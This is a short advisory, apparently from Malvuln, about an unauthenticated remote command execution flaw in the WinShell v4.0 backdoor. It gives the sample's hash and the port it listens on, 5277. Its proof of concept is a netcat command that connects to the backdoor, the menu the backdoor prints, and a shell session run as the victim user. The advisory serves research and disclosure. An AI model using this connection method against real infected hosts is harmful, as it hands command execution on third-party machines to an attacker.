Original source: https://malvuln.com/advisory/c98e23742807f3cb5a095f34e0eb0e52.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.WinShell.40
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277, third-party
attackers who can reach the system can execute OS commands further
compromising the already infected machine.
Type: PE32
MD5: c98e23742807f3cb5a095f34e0eb0e52
Vuln ID: MVID-2021-0310
Disclosure: 07/27/2021
Exploit/PoC:
nc64.exe x.x.x.x 5277
WinShell v4.0
(C)2001 by janker
http://www.bugsos.com
? for help
CMD>?
i Install
u Uninstall
w Where
r Reboot
p Poweroff
q Quit
e End
s Shell
url download
? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim
C:\Users\Victim\Desktop>
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